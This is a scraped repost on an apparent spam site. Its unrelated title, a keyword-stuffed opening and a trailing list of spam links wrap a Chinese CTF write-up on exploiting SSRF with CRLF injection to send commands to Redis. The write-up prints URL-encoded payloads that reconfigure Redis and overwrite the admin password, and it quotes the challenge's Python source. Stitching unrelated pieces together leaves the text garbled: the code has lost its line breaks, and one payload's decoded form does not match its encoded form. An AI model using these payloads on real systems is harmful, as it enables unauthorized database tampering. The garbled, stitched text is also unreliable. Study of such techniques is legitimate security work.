当前位置: 首页 > news >正文

北京企业网站小程序搭建公司

北京企业网站,小程序搭建公司,政务网的门户网站建设,今天刚刚的最新新闻文章目录 注入原理例题 [SWPU 2016]web7 注入原理 参考文章 应用场景是具有SSRF漏洞,结合CRLF注入 我们以redis数据库为例,当存在SSRF时我们伪造以下请求 http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%…

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.yayakq.cn/news/699052/

相关文章:

  • 十大外贸网站网站建设的公司哪家是上市公司
  • 做爰片在线看网站有赞分销模式佣金
  • 天猫网站建设的意义南京发布最新消息
  • phpcms网站打不开南阳网站排名优化公司
  • 做网站需要哪方面的编程赣州市住房和城乡建设局网站
  • cms网站建设教程如何在线制作印章
  • html后缀的网站物流网站建设方案
  • 网站开发主要工作内容怎么注销建设银行网站用户
  • 唐山网站托管wordpress 微博链接
  • 消防器材网站建设背景建网站有哪些步骤
  • 建设银行官网首页网站购纪念币成都html5网站设计
  • 哪家建站好我做网站编辑写文章很慢怎么办
  • phpnow 搭建本地网站wordpress顶部图片轮播
  • 网站备案上传照片几寸手机网站页面设计尺寸
  • 网站开源是什么意思天津智能网站建设
  • 网站建设人员招聘网络模块
  • dedecms做电商网站网络架构师
  • 网站网站服务器中国最厉害的网站建设公司
  • 如何制作网站平台网站备案属于公司哪一块
  • 鹤岗北京网站建设网站开发建设好处
  • 新网站建设问卷网站建设得要素
  • 网站制作怎么做让点击高seo网站三要素怎么做
  • 电脑做网站空间做奢侈品代工厂的网站
  • 水泥公司网站建设制作公司网页思路怎么写
  • 蕲春网站建设wordpress 文章排名
  • wordpress网站如何制作做网站番禺
  • 网站设计与开发培训农村自建房设计
  • 怎么制定网站电子商务网站管理内容
  • 做哪种网站比较简单做网站文件下载
  • 公司网站建设服务费怎么做账wordpress文章添加seo标题代码